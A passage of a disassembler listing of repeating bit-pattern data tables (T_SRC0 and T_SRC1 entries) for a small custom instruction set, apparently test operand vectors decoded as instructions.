00030f10 <T_SRC0_964>:
30f10: 20 00 00 00 nop
00030f14 <T_SRC0_965>:
30f14: 20 00 00 00 nop
00030f18 <T_SRC0_966>:
30f18: 20 00 00 00 nop
00030f1c <T_SRC0_967>:
30f1c: 20 00 00 00 nop
00030f20 <T_SRC0_968>:
30f20: 20 00 00 00 nop
00030f24 <T_SRC0_969>:
30f24: 20 00 00 00 nop
00030f28 <T_SRC0_970>:
30f28: 20 00 00 00 nop
00030f2c <T_SRC0_971>:
30f2c: 20 00 00 00 nop
00030f30 <T_SRC0_972>:
30f30: 20 00 00 00 nop
00030f34 <T_SRC0_973>:
30f34: 20 00 00 00 nop
00030f38 <T_SRC0_974>:
30f38: 20 00 00 00 nop
00030f3c <T_SRC0_975>:
30f3c: 20 00 00 00 nop
00030f40 <T_SRC0_976>:
30f40: 20 00 00 00 nop
00030f44 <T_SRC0_977>:
30f44: 20 00 00 00 nop
00030f48 <T_SRC0_978>:
30f48: 20 00 00 00 nop
00030f4c <T_SRC0_979>:
30f4c: 20 00 00 00 nop
00030f50 <T_SRC0_980>:
30f50: 20 00 00 00 nop
00030f54 <T_SRC0_981>:
30f54: 20 00 00 00 nop
00030f58 <T_SRC0_982>:
30f58: 20 00 00 00 nop
00030f5c <T_SRC0_983>:
30f5c: 20 00 00 00 nop
00030f60 <T_SRC0_984>:
30f60: 20 00 00 00 nop
00030f64 <T_SRC0_985>:
30f64: 20 00 00 00 nop
00030f68 <T_SRC0_986>:
30f68: 20 00 00 00 nop
00030f6c <T_SRC0_987>:
30f6c: 20 00 00 00 nop
00030f70 <T_SRC0_988>:
30f70: 20 00 00 00 nop
00030f74 <T_SRC0_989>:
30f74: 20 00 00 00 nop
00030f78 <T_SRC0_990>:
30f78: 20 00 00 00 nop
00030f7c <T_SRC0_991>:
30f7c: 20 00 00 00 nop
00030f80 <T_SRC0_992>:
30f80: 40 00 00 00 *unknown*
00030f84 <T_SRC0_993>:
30f84: 40 00 00 00 *unknown*
00030f88 <T_SRC0_994>:
30f88: 40 00 00 00 *unknown*
00030f8c <T_SRC0_995>:
30f8c: 40 00 00 00 *unknown*
00030f90 <T_SRC0_996>:
30f90: 40 00 00 00 *unknown*
00030f94 <T_SRC0_997>:
30f94: 40 00 00 00 *unknown*
00030f98 <T_SRC0_998>:
30f98: 40 00 00 00 *unknown*
00030f9c <T_SRC0_999>:
30f9c: 40 00 00 00 *unknown*
00030fa0 <T_SRC0_1000>:
30fa0: 40 00 00 00 *unknown*
00030fa4 <T_SRC0_1001>:
30fa4: 40 00 00 00 *unknown*
00030fa8 <T_SRC0_1002>:
30fa8: 40 00 00 00 *unknown*
00030fac <T_SRC0_1003>:
30fac: 40 00 00 00 *unknown*
00030fb0 <T_SRC0_1004>:
30fb0: 40 00 00 00 *unknown*
00030fb4 <T_SRC0_1005>:
30fb4: 40 00 00 00 *unknown*
00030fb8 <T_SRC0_1006>:
30fb8: 40 00 00 00 *unknown*
00030fbc <T_SRC0_1007>:
30fbc: 40 00 00 00 *unknown*
00030fc0 <T_SRC0_1008>:
30fc0: 40 00 00 00 *unknown*
00030fc4 <T_SRC0_1009>:
30fc4: 40 00 00 00 *unknown*
00030fc8 <T_SRC0_1010>:
30fc8: 40 00 00 00 *unknown*
00030fcc <T_SRC0_1011>:
30fcc: 40 00 00 00 *unknown*
00030fd0 <T_SRC0_1012>:
30fd0: 40 00 00 00 *unknown*
00030fd4 <T_SRC0_1013>:
30fd4: 40 00 00 00 *unknown*
00030fd8 <T_SRC0_1014>:
30fd8: 40 00 00 00 *unknown*
00030fdc <T_SRC0_1015>:
30fdc: 40 00 00 00 *unknown*
00030fe0 <T_SRC0_1016>:
30fe0: 40 00 00 00 *unknown*
00030fe4 <T_SRC0_1017>:
30fe4: 40 00 00 00 *unknown*
00030fe8 <T_SRC0_1018>:
30fe8: 40 00 00 00 *unknown*
00030fec <T_SRC0_1019>:
30fec: 40 00 00 00 *unknown*
00030ff0 <T_SRC0_1020>:
30ff0: 40 00 00 00 *unknown*
00030ff4 <T_SRC0_1021>:
30ff4: 40 00 00 00 *unknown*
00030ff8 <T_SRC0_1022>:
30ff8: 40 00 00 00 *unknown*
00030ffc <T_SRC0_1023>:
30ffc: 40 00 00 00 *unknown*
00031000 <T_SRC0_1024>:
31000: 80 00 00 00 *unknown*
00031004 <T_SRC0_1025>:
31004: 80 00 00 00 *unknown*
00031008 <T_SRC0_1026>:
31008: 80 00 00 00 *unknown*
0003100c <T_SRC0_1027>:
3100c: 80 00 00 00 *unknown*
00031010 <T_SRC0_1028>:
31010: 80 00 00 00 *unknown*
00031014 <T_SRC0_1029>:
31014: 80 00 00 00 *unknown*
00031018 <T_SRC0_1030>:
31018: 80 00 00 00 *unknown*
0003101c <T_SRC0_1031>:
3101c: 80 00 00 00 *unknown*
00031020 <T_SRC0_1032>:
31020: 80 00 00 00 *unknown*
00031024 <T_SRC0_1033>:
31024: 80 00 00 00 *unknown*
00031028 <T_SRC0_1034>:
31028: 80 00 00 00 *unknown*
0003102c <T_SRC0_1035>:
3102c: 80 00 00 00 *unknown*
00031030 <T_SRC0_1036>:
31030: 80 00 00 00 *unknown*
00031034 <T_SRC0_1037>:
31034: 80 00 00 00 *unknown*
00031038 <T_SRC0_1038>:
31038: 80 00 00 00 *unknown*
0003103c <T_SRC0_1039>:
3103c: 80 00 00 00 *unknown*
00031040 <T_SRC0_1040>:
31040: 80 00 00 00 *unknown*
00031044 <T_SRC0_1041>:
31044: 80 00 00 00 *unknown*
00031048 <T_SRC0_1042>:
31048: 80 00 00 00 *unknown*
0003104c <T_SRC0_1043>:
3104c: 80 00 00 00 *unknown*
00031050 <T_SRC0_1044>:
31050: 80 00 00 00 *unknown*
00031054 <T_SRC0_1045>:
31054: 80 00 00 00 *unknown*
00031058 <T_SRC0_1046>:
31058: 80 00 00 00 *unknown*
0003105c <T_SRC0_1047>:
3105c: 80 00 00 00 *unknown*
00031060 <T_SRC0_1048>:
31060: 80 00 00 00 *unknown*
00031064 <T_SRC0_1049>:
31064: 80 00 00 00 *unknown*
00031068 <T_SRC0_1050>:
31068: 80 00 00 00 *unknown*
0003106c <T_SRC0_1051>:
3106c: 80 00 00 00 *unknown*
00031070 <T_SRC0_1052>:
31070: 80 00 00 00 *unknown*
00031074 <T_SRC0_1053>:
31074: 80 00 00 00 *unknown*
00031078 <T_SRC0_1054>:
31078: 80 00 00 00 *unknown*
0003107c <T_SRC0_1055>:
3107c: 80 00 00 00 *unknown*
00031080 <T_SRC0_1056>:
31080: 00 00 00 03 add r0,r3
00031084 <T_SRC0_1057>:
31084: 00 00 00 07 add r0,rtmp
00031088 <T_SRC0_1058>:
31088: 00 00 00 0f add r0,r15
0003108c <T_SRC0_1059>:
3108c: 00 00 00 1f add r0,rret
00031090 <T_SRC0_1060>:
31090: 00 00 00 3f add r1,rret
00031094 <T_SRC0_1061>:
31094: 00 00 00 7f add r3,rret
00031098 <T_SRC0_1062>:
31098: 00 00 00 ff add rtmp,rret
0003109c <T_SRC0_1063>:
3109c: 00 00 01 ff add r15,rret
000310a0 <T_SRC0_1064>:
310a0: 00 00 03 ff add rret,rret
000310a4 <T_SRC0_1065>:
310a4: 00 00 07 ff *unknown*
000310a8 <T_SRC0_1066>:
310a8: 00 00 0f ff *unknown*
000310ac <T_SRC0_1067>:
310ac: 00 00 1f ff *unknown*
000310b0 <T_SRC0_1068>:
310b0: 00 00 3f ff *unknown*
000310b4 <T_SRC0_1069>:
310b4: 00 00 7f ff *unknown*
000310b8 <T_SRC0_1070>:
310b8: 00 00 ff ff *unknown*
000310bc <T_SRC0_1071>:
310bc: 00 01 ff ff *unknown*
000310c0 <T_SRC0_1072>:
310c0: 00 03 ff ff *unknown*
000310c4 <T_SRC0_1073>:
310c4: 00 07 ff ff *unknown*
000310c8 <T_SRC0_1074>:
310c8: 00 0f ff ff *unknown*
000310cc <T_SRC0_1075>:
310cc: 00 1f ff ff *unknown*
000310d0 <T_SRC0_1076>:
310d0: 00 3f ff ff *unknown*
000310d4 <T_SRC0_1077>:
310d4: 00 7f ff ff *unknown*
000310d8 <T_SRC0_1078>:
310d8: 00 ff ff ff *unknown*
000310dc <T_SRC0_1079>:
310dc: 01 ff ff ff *unknown*
000310e0 <T_SRC0_1080>:
310e0: 03 ff ff ff *unknown*
000310e4 <T_SRC0_1081>:
310e4: 07 ff ff ff *unknown*
000310e8 <T_SRC0_1082>:
310e8: 0f ff ff ff *unknown*
000310ec <T_SRC0_1083>:
310ec: 1f ff ff ff *unknown*
000310f0 <T_SRC0_1084>:
310f0: 3f ff ff ff *unknown*
000310f4 <T_SRC0_1085>:
310f4: 7f ff ff ff *unknown*
000310f8 <T_SRC0_1086>:
310f8: ff ff ff ff *unknown*
000310fc <T_SRC1_0>:
310fc: 00 00 00 01 add r0,r1
00031100 <T_SRC1_1>:
31100: 00 00 00 02 add r0,r2
00031104 <T_SRC1_2>:
31104: 00 00 00 04 add r0,r4
00031108 <T_SRC1_3>:
31108: 00 00 00 08 add r0,r8
0003110c <T_SRC1_4>:
3110c: 00 00 00 10 add r0,r16
00031110 <T_SRC1_5>:
31110: 00 00 00 20 add r1,r0
00031114 <T_SRC1_6>:
31114: 00 00 00 40 add r2,r0
00031118 <T_SRC1_7>:
31118: 00 00 00 80 add r4,r0
0003111c <T_SRC1_8>:
3111c: 00 00 01 00 add r8,r0
00031120 <T_SRC1_9>:
31120: 00 00 02 00 add r16,r0
00031124 <T_SRC1_10>:
31124: 00 00 04 00 *unknown*
00031128 <T_SRC1_11>:
31128: 00 00 08 00 *unknown*
0003112c <T_SRC1_12>:
3112c: 00 00 10 00 *unknown*
00031130 <T_SRC1_13>:
31130: 00 00 20 00 *unknown*
00031134 <T_SRC1_14>:
31134: 00 00 40 00 *unknown*
00031138 <T_SRC1_15>:
31138: 00 00 80 00 *unknown*
0003113c <T_SRC1_16>:
3113c: 00 01 00 00 *unknown*
00031140 <T_SRC1_17>:
31140: 00 02 00 00 *unknown*
00031144 <T_SRC1_18>:
31144: 00 04 00 00 *unknown*
00031148 <T_SRC1_19>:
31148: 00 08 00 00 *unknown*
0003114c <T_SRC1_20>:
3114c: 00 10 00 00 add r0,0
00031150 <T_SRC1_21>:
31150: 00 20 00 00 sub r0,r0
00031154 <T_SRC1_22>:
31154: 00 40 00 00 mull r0,r0
00031158 <T_SRC1_23>:
31158: 00 80 00 00 udiv r0,r0
0003115c <T_SRC1_24>:
3115c: 01 00 00 00 mod r0,r0
00031160 <T_SRC1_25>:
31160: 02 00 00 00 inc r0,r0
00031164 <T_SRC1_26>:
31164: 04 00 00 00 *unknown*
00031168 <T_SRC1_27>:
31168: 08 00 00 00 shl r0,r0
0003116c <T_SRC1_28>:
3116c: 10 00 00 00 ld8 r0,r0
00031170 <T_SRC1_29>:
31170: 20 00 00 00 nop
00031174 <T_SRC1_30>:
31174: 40 00 00 00 *unknown*
00031178 <T_SRC1_31>:
31178: 80 00 00 00 *unknown*
0003117c <T_SRC1_32>:
3117c: 00 00 00 01 add r0,r1
00031180 <T_SRC1_33>:
31180: 00 00 00 02 add r0,r2
00031184 <T_SRC1_34>:
31184: 00 00 00 04 add r0,r4
00031188 <T_SRC1_35>:
31188: 00 00 00 08 add r0,r8
0003118c <T_SRC1_36>:
3118c: 00 00 00 10 add r0,r16
00031190 <T_SRC1_37>:
31190: 00 00 00 20 add r1,r0
00031194 <T_SRC1_38>:
31194: 00 00 00 40 add r2,r0
00031198 <T_SRC1_39>:
31198: 00 00 00 80 add r4,r0
0003119c <T_SRC1_40>:
3119c: 00 00 01 00 add r8,r0
000311a0 <T_SRC1_41>:
311a0: 00 00 02 00 add r16,r0
000311a4 <T_SRC1_42>:
311a4: 00 00 04 00 *unknown*
000311a8 <T_SRC1_43>:
311a8: 00 00 08 00 *unknown*
000311ac <T_SRC1_44>:
311ac: 00 00 10 00 *unknown*
000311b0 <T_SRC1_45>:
311b0: 00 00 20 00 *unknown*
000311b4 <T_SRC1_46>:
311b4: 00 00 40 00 *unknown*
000311b8 <T_SRC1_47>:
311b8: 00 00 80 00 *unknown*
000311bc <T_SRC1_48>:
311bc: 00 01 00 00 *unknown*
000311c0 <T_SRC1_49>:
311c0: 00 02 00 00 *unknown*
000311c4 <T_SRC1_50>:
311c4: 00 04 00 00 *unknown*
000311c8 <T_SRC1_51>:
311c8: 00 08 00 00 *unknown*
000311cc <T_SRC1_52>:
311cc: 00 10 00 00 add r0,0
000311d0 <T_SRC1_53>:
311d0: 00 20 00 00 sub r0,r0
000311d4 <T_SRC1_54>:
311d4: 00 40 00 00 mull r0,r0
000311d8 <T_SRC1_55>:
311d8: 00 80 00 00 udiv r0,r0
000311dc <T_SRC1_56>:
311dc: 01 00 00 00 mod r0,r0
000311e0 <T_SRC1_57>:
311e0: 02 00 00 00 inc r0,r0
000311e4 <T_SRC1_58>:
311e4: 04 00 00 00 *unknown*
000311e8 <T_SRC1_59>:
311e8: 08 00 00 00 shl r0,r0
000311ec <T_SRC1_60>:
311ec: 10 00 00 00 ld8 r0,r0
000311f0 <T_SRC1_61>:
311f0: 20 00 00 00 nop
000311f4 <T_SRC1_62>:
311f4: 40 00 00 00 *unknown*
000311f8 <T_SRC1_63>:
311f8: 80 00 00 00 *unknown*
000311fc <T_SRC1_64>:
311fc: 00 00 00 01 add r0,r1
00031200 <T_SRC1_65>:
31200: 00 00 00 02 add r0,r2
00031204 <T_SRC1_66>:
31204: 00 00 00 04 add r0,r4
00031208 <T_SRC1_67>:
31208: 00 00 00 08 add r0,r8
0003120c <T_SRC1_68>:
3120c: 00 00 00 10 add r0,r16
00031210 <T_SRC1_69>:
31210: 00 00 00 20 add r1,r0
00031214 <T_SRC1_70>:
31214: 00 00 00 40 add r2,r0
00031218 <T_SRC1_71>:
31218: 00 00 00 80 add r4,r0
0003121c <T_SRC1_72>:
3121c: 00 00 01 00 add r8,r0
00031220 <T_SRC1_73>:
31220: 00 00 02 00 add r16,r0
00031224 <T_SRC1_74>:
31224: 00 00 04 00 *unknown*
00031228 <T_SRC1_75>:
31228: 00 00 08 00 *unknown*
0003122c <T_SRC1_76>:
3122c: 00 00 10 00 *unknown*
00031230 <T_SRC1_77>:
31230: 00 00 20 00 *unknown*
00031234 <T_SRC1_78>:
31234: 00 00 40 00 *unknown*
00031238 <T_SRC1_79>:
31238: 00 00 80 00 *unknown*
0003123c <T_SRC1_80>:
3123c: 00 01 00 00 *unknown*
00031240 <T_SRC1_81>:
31240: 00 02 00 00 *unknown*
00031244 <T_SRC1_82>:
31244: 00 04 00 00 *unknown*
00031248 <T_SRC1_83>:
31248: 00 08 00 00 *unknown*
0003124c <T_SRC1_84>:
3124c: 00 10 00 00 add r0,0
00031250 <T_SRC1_85>:
31250: 00 20 00 00 sub r0,r0
00031254 <T_SRC1_86>:
31254: 00 40 00 00 mull r0,r0
00031258 <T_SRC1_87>:
31258: 00 80 00 00 udiv r0,r0
0003125c <T_SRC1_88>:
3125c: 01 00 00 00 mod r0,r0
00031260 <T_SRC1_89>:
31260: 02 00 00 00 inc r0,r0
00031264 <T_SRC1_90>:
31264: 04 00 00 00 *unknown*
00031268 <T_SRC1_91>:
31268: 08 00 00 00 shl r0,r0
0003126c <T_SRC1_92>:
3126c: 10 00 00 00 ld8 r0,r0
00031270 <T_SRC1_93>:
31270: 20 00 00 00 nop
00031274 <T_SRC1_94>:
31274: 40 00 00 00 *unknown*
00031278 <T_SRC1_95>:
31278: 80 00 00 00 *unknown*
0003127c <T_SRC1_96>:
3127c: 00 00 00 01 add r0,r1
00031280 <T_SRC1_97>:
31280: 00 00 00 02 add r0,r2
00031284 <T_SRC1_98>:
31284: 00 00 00 04 add r0,r4
00031288 <T_SRC1_99>:
31288: 00 00 00 08 add r0,r8
0003128c <T_SRC1_100>:
3128c: 00 00 00 10 add r0,r16
00031290 <T_SRC1_101>:
31290: 00 00 00 20 add r1,r0
00031294 <T_SRC1_102>:
31294: 00 00 00 40 add r2,r0
00031298 <T_SRC1_103>:
31298: 00 00 00 80 add r4,r0
0003129c <T_SRC1_104>:
3129c: 00 00 01 00 add r8,r0
000312a0 <T_SRC1_105>:
312a0: 00 00 02 00 add r16,r0
000312a4 <T_SRC1_106>:
312a4: 00 00 04 00 *unknown*
000312a8 <T_SRC1_107>:
312a8: 00 00 08 00 *unknown*
000312ac <T_SRC1_108>:
312ac: 00 00 10 00 *unknown*
000312b0 <T_SRC1_109>:
312b0: 00 00 20 00 *unknown*
000312b4 <T_SRC1_110>:
312b4: 00 00 40 00 *unknown*
000312b8 <T_SRC1_111>:
312b8: 00 00 80 00 *unknown*
000312bc <T_SRC1_112>:
312bc: 00 01 00 00 *unknown*
000312c0 <T_SRC1_113>:
312c0: 00 02 00 00 *unknown*
000312c4 <T_SRC1_114>:
312c4: 00 04 00 00 *unknown*
000312c8 <T_SRC1_115>:
312c8: 00 08 00 00 *unknown*
000312cc <T_SRC1_116>:
312cc: 00 10 00 00 add r0,0
000312d0 <T_SRC1_117>:
312d0: 00 20 00 00 sub r0,r0
000312d4 <T_SRC1_118>:
312d4: 00 40 00 00 mull r0,r0
000312d8 <T_SRC1_119>:
312d8: 00 80 00 00 udiv r0,r0
000312dc <T_SRC1_120>:
312dc: 01 00 00 00 mod r0,r0
000312e0 <T_SRC1_121>:
312e0: 02 00 00 00 inc r0,r0
000312e4 <T_SRC1_122>:
312e4: 04 00 00 00 *unknown*
000312e8 <T_SRC1_123>:
312e8: 08 00 00 00 shl r0,r0
000312ec <T_SRC1_124>:
312ec: 10 00 00 00 ld8 r0,r0
000312f0 <T_SRC1_125>:
312f0: 20 00 00 00 nop
000312f4 <T_SRC1_126>:
312f4: 40 00 00 00 *unknown*
000312f8 <T_SRC1_127>:
312f8: 80 00 00 00 *unknown*
000312fc <T_SRC1_128>:
312fc: 00 00 00 01 add r0,r1
00031300 <T_SRC1_129>:
31300: 00 00 00 02 add r0,r2
00031304 <T_SRC1_130>:
31304: 00 00 00 04 add r0,r4
00031308 <T_SRC1_131>:
31308: 00 00 00 08 add r0,r8
0003130c <T_SRC1_132>:
3130c: 00 00 00 10 add r0,r16
00031310 <T_SRC1_133>:
31310: 00 00 00 20 add r1,r0
00031314 <T_SRC1_134>:
31314: 00 00 00 40 add r2,r0
00031318 <T_SRC1_135>:
31318: 00 00 00 80 add r4,r0
0003131c <T_SRC1_136>:
3131c: 00 00 01 00 add r8,r0
00031320 <T_SRC1_137>:
31320: 00 00 02 00 add r16,r0
00031324 <T_SRC1_138>:
31324: 00 00 04 00 *unknown*
00031328 <T_SRC1_139>:
31328: 00 00 08 00 *unknown*
0003132c <T_SRC1_140>:
3132c: 00 00 10 00 *unknown*
00031330 <T_SRC1_141>:
31330: 00 00 20 00 *unknown*
00031334 <T_SRC1_142>:
31334: 00 00 40 00 *unknown*
00031338 <T_SRC1_143>:
31338: 00 00 80 00 *unknown*
0003133c <T_SRC1_144>:
3133c: 00 01 00 00 *unknown*
00031340 <T_SRC1_145>:
31340: 00 02 00 00 *unknown*
00031344 <T_SRC1_146>:
31344: 00 04 00 00 *unknown*
00031348 <T_SRC1_147>:
31348: 00 08 00 00 *unknown*
0003134c <T_SRC1_148>:
3134c: 00 10 00 00 add r0,0
00031350 <T_SRC1_149>:
31350: 00 20 00 00 sub r0,r0
00031354 <T_SRC1_150>:
31354: 00 40 00 00 mull r0,r0
00031358 <T_SRC1_151>:
31358: 00 80 00 00 udiv r0,r0
0003135c <T_SRC1_152>:
3135c: 01 00 00 00 mod r0,r0
00031360 <T_SRC1_153>:
31360: 02 00 00 00 inc r0,r0
00031364 <T_SRC1_154>:
31364: 04 00 00 00 *unknown*
00031368 <T_SRC1_155>:
31368: 08 00 00 00 shl r0,r0
0003136c <T_SRC1_156>:
3136c: 10 00 00 00 ld8 r0,r0
00031370 <T_SRC1_157>:
31370: 20 00 00 00 nop
00031374 <T_SRC1_158>:
31374: 40 00 00 00 *unknown*
00031378 <T_SRC1_159>:
31378: 80 00 00 00 *unknown*
0003137c <T_SRC1_160>:
3137c: 00 00 00 01 add r0,r1
00031380 <T_SRC1_161>:
31380: 00 00 00 02 add r0,r2
00031384 <T_SRC1_162>:
31384: 00 00 00 04 add r0,r4
00031388 <T_SRC1_163>:
31388: 00 00 00 08 add r0,r8
0003138c <T_SRC1_164>:
3138c: 00 00 00 10 add r0,r16
00031390 <T_SRC1_165>:
31390: 00 00 00 20 add r1,r0
00031394 <T_SRC1_166>:
31394: 00 00 00 40 add r2,r0
00031398 <T_SRC1_167>:
31398: 00 00 00 80 add r4,r0
0003139c <T_SRC1_168>:
3139c: 00 00 01 00 add r8,r0
000313a0 <T_SRC1_169>:
313a0: 00 00 02 00 add r16,r0
000313a4 <T_SRC1_170>:
313a4: 00 00 04 00 *unknown*
000313a8 <T_SRC1_171>:
313a8: 00 00 08 00 *unknown*
000313ac <T_SRC1_172>:
313ac: 00 00 10 00 *unknown*
000313b0 <T_SRC1_173>:
313b0: 00 00 20 00 *unknown*
000313b4 <T_SRC1_174>:
313b4: 00 00 40 00 *unknown*
000313b8 <T_SRC1_175>:
313b8: 00 00 80 00 *unknown*
000313bc <T_SRC1_176>:
313bc: 00 01 00 00 *unknown*
000313c0 <T_SRC1_177>:
313c0: 00 02 00 00 *unknown*
000313c4 <T_SRC1_178>:
313c4: 00 04 00 00 *unknown*
000313c8 <T_SRC1_179>:
313c8: 00 08 00 00 *unknown*
000313cc <T_SRC1_180>:
313cc: 00 10 00 00 add r0,0
000313d0 <T_SRC1_181>:
313d0: 00 20 00 00 sub r0,r0
000313d4 <T_SRC1_182>:
313d4: 00 40 00 00 mull r0,r0
000313d8 <T_SRC1_183>:
313d8: 00 80 00 00 udiv r0,r0
000313dc <T_SRC1_184>:
313dc: 01 00 00 00 mod r0,r0
000313e0 <T_SRC1_185>:
313e0: 02 00 00 00 inc r0,r0
000313e4 <T_SRC1_186>:
313e4: 04 00 00 00 *unknown*
000313e8 <T_SRC1_187>:
313e8: 08 00 00 00 shl r0,r0
000313ec <T_SRC1_188>:
313ec: 10 00 00 00 ld8 r0,r0
000313f0 <T_SRC1_189>:
313f0: 20 00 00 00 nop
000313f4 <T_SRC1_190>:
313f4: 40 00 00 00 *unknown*
000313f8 <T_SRC1_191>:
313f8: 80 00 00 00 *unknown*
000313fc <T_SRC1_192>:
313fc: 00 00 00 01 add r0,r1
00031400 <T_SRC1_193>:
31400: 00 00 00 02 add r0,r2
00031404 <T_SRC1_194>:
31404: 00 00 00 04 add r0,r4
00031408 <T_SRC1_195>:
31408: 00 00 00 08 add r0,r8
0003140c <T_SRC1_196>:
3140c: 00 00 00 10 add r0,r16
00031410 <T_SRC1_197>:
31410: 00 00 00 20 add r1,r0
00031414 <T_SRC1_198>:
31414: 00 00 00 40 add r2,r0
00031418 <T_SRC1_199>:
31418: 00 00 00 80 add r4,r0
0003141c <T_SRC1_200>:
3141c: 00 00 01 00 add r8,r0
00031420 <T_SRC1_201>:
31420: 00 00 02 00 add r16,r0
00031424 <T_SRC1_202>:
31424: 00 00 04 00 *unknown*
00031428 <T_SRC1_203>:
31428: 00 00 08 00 *unknown*
0003142c <T_SRC1_204>:
3142c: 00 00 10 00 *unknown*
00031430 <T_SRC1_205>:
31430: 00 00 20 00 *unknown*
00031434 <T_SRC1_206>:
31434: 00 00 40 00 *unknown*
00031438 <T_SRC1_207>:
31438: 00 00 80 00 *unknown*
0003143c <T_SRC1_208>:
3143c: 00 01 00 00 *unknown*
00031440 <T_SRC1_209>:
31440: 00 02 00 00 *unknown*
00031444 <T_SRC1_210>:
31444: 00 04 00 00 *unknown*
00031448 <T_SRC1_211>:
31448: 00 08 00 00 *unknown*
0003144c <T_SRC1_212>:
3144c: 00 10 00 00 add r0,0
00031450 <T_SRC1_213>:
31450: 00 20 00 00 sub r0,r0
00031454 <T_SRC1_214>:
31454: 00 40 00 00 mull r0,r0
00031458 <T_SRC1_215>:
31458: 00 80 00 00 udiv r0,r0
0003145c <T_SRC1_216>:
3145c: 01 00 00 00 mod r0,r0
00031460 <T_SRC1_217>:
31460: 02 00 00 00 inc r0,r0
00031464 <T_SRC1_218>:
31464: 04 00 00 00 *unknown*
00031468 <T_SRC1_219>:
31468: 08 00 00 00 shl r0,r0
0003146c <T_SRC1_220>:
3146c: 10 00 00 00 ld8 r0,r0
00031470 <T_SRC1_221>:
31470: 20 00 00 00 nop
00031474 <T_SRC1_222>:
31474: 40 00 00 00 *unknown*
00031478 <T_SRC1_223>:
31478: 80 00 00 00 *unknown*
0003147c <T_SRC1_224>:
3147c: 00 00 00 01 add r0,r1
00031480 <T_SRC1_225>:
31480: 00 00 00 02 add r0,r2
00031484 <T_SRC1_226>:
31484: 00 00 00 04 add r0,r4
00031488 <T_SRC1_227>:
31488: 00 00 00 08 add r0,r8
0003148c <T_SRC1_228>:
3148c: 00 00 00 10 add r0,r16
00031490 <T_SRC1_229>:
31490: 00 00 00 20 add r1,r0
00031494 <T_SRC1_230>:
31494: 00 00 00 40 add r2,r0
00031498 <T_SRC1_231>:
31498: 00 00 00 80 add r4,r0
0003149c <T_SRC1_232>:
3149c: 00 00 01 00 add r8,r0
000314a0 <T_SRC1_233>:
314a0: 00 00 02 00 add r16,r0
000314a4 <T_SRC1_234>:
314a4: 00 00 04 00 *unknown*
000314a8 <T_SRC1_235>:
314a8: 00 00 08 00 *unknown*
000314ac <T_SRC1_236>:
314ac: 00 00 10 00 *unknown*
000314b0 <T_SRC1_237>:
314b0: 00 00 20 00 *unknown*
000314b4 <T_SRC1_238>:
314b4: 00 00 40 00 *unknown*
000314b8 <T_SRC1_239>:
314b8: 00 00 80 00 *unknown*
000314bc <T_SRC1_240>:
314bc: 00 01 00 00 *unknown*
000314c0 <T_SRC1_241>:
314c0: 00 02 00 00 *unknown*
000314c4 <T_SRC1_242>:
314c4: 00 04 00 00 *unknown*
000314c8 <T_SRC1_243>:
314c8: 00 08 00 00 *unknown*
000314cc <T_SRC1_244>:
314cc: 00 10 00 00 add r0,0
000314d0 <T_SRC1_245>:
314d0: 00 20 00 00 sub r0,r0
000314d4 <T_SRC1_246>:
314d4: 00 40 00 00 mull r0,r0
000314d8 <T_SRC1_247>:
314d8: 00 80 00 00 udiv r0,r0
000314dc <T_SRC1_248>:
314dc: 01 00 00 00 mod r0,r0
000314e0 <T_SRC1_249>:
314e0: 02 00 00 00 inc r0,r0
000314e4 <T_SRC1_250>:
314e4: 04 00 00 00 *unknown*
000314e8 <T_SRC1_251>:
314e8: 08 00 00 00 shl r0,r0
000314ec <T_SRC1_252>:
314ec: 10 00 00 00 ld8 r0,r0
000314f0 <T_SRC1_253>:
314f0: 20 00 00 00 nop
000314f4 <T_SRC1_254>:
314f4: 40 00 00 00 *unknown*
000314f8 <T_SRC1_255>:
314f8: 80 00 00 00 *unknown*
000314fc <T_SRC1_256>:
314fc: 00 00 00 01 add r0,r1
00031500 <T_SRC1_257>:
31500: 00 00 00 02 add r0,r2
00031504 <T_SRC1_258>:
31504: 00 00 00 04 add r0,r4
00031508 <T_SRC1_259>:
31508: 00 00 00 08 add r0,r8
0003150c <T_SRC1_260>:
3150c: 00 00 00 10 add r0,r16
00031510 <T_SRC1_261>:
31510: 00 00 00 20 add r1,r0
00031514 <T_SRC1_262>:
31514: 00 00 00 40 add r2,r0
00031518 <T_SRC1_263>:
31518: 00 00 00 80 add r4,r0
0003151c <T_SRC1_264>:
3151c: 00 00 01 00 add r8,r0
00031520 <T_SRC1_265>:
31520: 00 00 02 00 add r16,r0
00031524 <T_SRC1_266>:
31524: 00 00 04 00 *unknown*
00031528 <T_SRC1_267>:
31528: 00 00 08 00 *unknown*
0003152c <T_SRC1_268>:
3152c: 00 00 10 00 *unknown*
00031530 <T_SRC1_269>:
31530: 00 00 20 00 *unknown*
00031534 <T_SRC1_270>:
31534: 00 00 40 00 *unknown*
00031538 <T_SRC1_271>:
31538: 00 00 80 00 *unknown*
0003153c <T_SRC1_272>:
3153c: 00 01 00 00 *unknown*
00031540 <T_SRC1_273>:
31540: 00 02 00 00 *unknown*
00031544 <T_SRC1_274>:
31544: 00 04 00 00 *unknown*
00031548 <T_SRC1_275>:
31548: 00 08 00 00 *unknown*
0003154c <T_SRC1_276>:
3154c: 00 10 00 00 add r0,0
00031550 <T_SRC1_277>:
31550: 00 20 00 00 sub r0,r0
00031554 <T_SRC1_278>:
31554: 00 40 00 00 mull r0,r0
00031558 <T_SRC1_279>:
31558: 00 80 00 00 udiv r0,r0
0003155c <T_SRC1_280>:
3155c: 01 00 00 00 mod r0,r0
00031560 <T_SRC1_281>:
31560: 02 00 00 00 inc r0,r0
00031564 <T_SRC1_282>:
31564: 04 00 00 00 *unknown*
00031568 <T_SRC1_283>:
31568: 08 00 00 00 shl r0,r0
0003156c <T_SRC1_284>:
3156c: 10 00 00 00 ld8 r0,r0
00031570 <T_SRC1_285>:
31570: 20 00 00 00 nop
00031574 <T_SRC1_286>:
31574: 40 00 00 00 *unknown*
00031578 <T_SRC1_287>:
31578: 80 00 00 00 *unknown*
0003157c <T_SRC1_288>:
3157c: 00 00 00 01 add r0,r1
00031580 <T_SRC1_289>:
31580: 00 00 00 02 add r0,r2
00031584 <T_SRC1_290>:
31584: 00 00 00 04 add r0,r4
00031588 <T_SRC1_291>:
31588: 00 00 00 08 add r0,r8
0003158c <T_SRC1_292>:
3158c: 00 00 00 10 add r0,r16
00031590 <T_SRC1_293>:
31590: 00 00 00 20 add r1,r0
00031594 <T_SRC1_294>:
31594: 00 00 00 40 add r2,r0
00031598 <T_SRC1_295>:
31598: 00 00 00 80 add r4,r0
0003159c <T_SRC1_296>:
3159c: 00 00 01 00 add r8,r0
000315a0 <T_SRC1_297>:
315a0: 00 00 02 00 add r16,r0
